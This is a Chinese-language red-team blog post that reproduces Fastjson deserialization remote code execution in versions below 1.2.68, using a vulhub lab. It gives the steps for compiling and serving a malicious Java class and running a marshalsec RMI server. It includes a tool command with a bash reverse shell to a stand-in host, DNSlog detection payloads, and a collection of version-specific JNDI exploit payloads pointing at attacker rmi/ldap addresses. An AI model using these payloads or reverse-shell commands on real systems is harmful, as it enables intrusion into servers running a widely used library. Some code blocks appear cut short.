红队武器库:fastjson小于1.2.68全漏洞RCE利用exp复现
0x01漏洞介绍
Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
0x02影响范围
Fastjson < 1.2.68
Fastjson爆出的绕过方法可以通杀1.2.68版本以下所有
0x03漏洞复现
下面以Fastjson 1.2.47 为例子,因为vulhub有现成的环境十分方便
1 | P牛我用vulhub中的 1.2.47的docker 想测试doslog检查 fastjson 但是总是收到不到dnslog 但是正常的exp反弹shell就是可以我很疑惑 |
下面是流程示意图
主机A:存在fastjson反序列化漏洞的主机
主机C:为RMI/LDAP服务
主机B:为构造的恶意类(包含要执行的命令)
在整个远程命令执行流程
1、黑客使用payload攻击主机A(该payload需要指定rmi/ldap地址)
2、主机A引发反序列化漏洞,发送了进行rmi远程发放调用,去连接主机C
3、主机C的rmi服务指定加载主机B的恶意java类,所以主机A通过主机C的rmi服务最终加载并执行主机B的恶意java类
4、主机A引发恶意系统命令执行
0x04复现流程
根据上图流程和环境复现:
主机A: http://1.1.1.1:8090 (存在Fastjson漏洞主机)
主机B: http://2.2.2.2:8888 (恶意java类服务)
主机C: rmi://2.2.2.2:9999 (远程方法调用服务)
实际上主机B和C是一台机器不同端口)
0x041 构造恶意方法
目标环境是openjdk:8u102
,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase
的限制,我们可以简单利用RMI进行命令执行。
首先编译并上传命令执行代码
使用如下payload:
其中touch /zydx666为系统命令,可以根据自己需求随意修改
注意该文件名叫Exploit.java固定格式不能变
1 | import java.io.BufferedReader; |
在主机B中使用javac命令编译Exploit.java文件,生成一个Exploit.class文件
1 | javac Exploit.java |
然后在主机B启一个http服务,中间件随意,但是需要能访问到Exploit.class文件,这里使用python3临时启动一个
1 | python3 -m http.server --bind 0.0.0.0 8888 |
0x042 开启远程方法调用rmi服务
接下来在主机C开启rmi服务
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://1.1.1.1:8888/#Exploit" 9999 |
marshalsec-0.0.3-SNAPSHOT-all.jar
参考 https://github.com/mbechler/marshalsec
至此服务已经全部就绪
0x043 发送payload
接下来向主机A(存在漏洞机子)发送fastjson反序列化漏洞payload
1 | POST / HTTP/1.1 |
此时主机A收到POST请求,触发反序列化漏洞,最终执行Exploit.class 文件中的内容
我使用的是反弹shell命令
反弹shell成功:
0x05简化版攻击工具
下面提供一个简化版工具的工具
是使用https://github.com/wyzxxz/fastjson\_rce\_tool这位师傅写的,一键起服务和生成恶意代码整个rmi+class文件的jar包
第一步:只需要在自己的服务器上启动
1 | java -cp fastjson_tool.jar fastjson.HRMIServer 1.1.1.1 8888 "bash=bash -i >&/dev/tcp/x.x.x.x/80 0>&1" |
第二步:发送payload
成功反弹shell
0x06 漏洞检测
未知目标是否使用 Fastjson ,但站点有原始报错回显
如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样
例如
无回显,通过DNS回显的方式盲区分 Fastjson 和 Jackson
我使用以下payload测试
1 | {"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}} |
最终收到dnslog
最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson
1 | {"@type":"java.net.Inet4Address","val":"dnslog"} |
畸形的
1 | {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} |
POC:
要嵌套在里面zeo里面
1 | {"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}} |
1 | {"@type":"java.net.Inet4Address","val":"dnslog"} |
0x07 多版本payload集合
影响版本:
fastjson<=1.2.24
exp:
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true} |
影响版本:
fastjson<=1.2.41
前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
1 | {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true} |
影响版本:
fastjson<=1.2.42
前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
1 | {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true} |
影响版本:
fastjson<=1.2.43
前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
1 | {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true} |
影响版本:
fastjson<=1.2.45
前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
1 | {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}} |
影响版本:
fastjson<=1.2.47
exp:
1 | { |
影响版本:
fastjson<=1.2.62
exp:
1 | {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}" |
影响版本:
fastjson<=1.2.66
前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
1 | {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"} |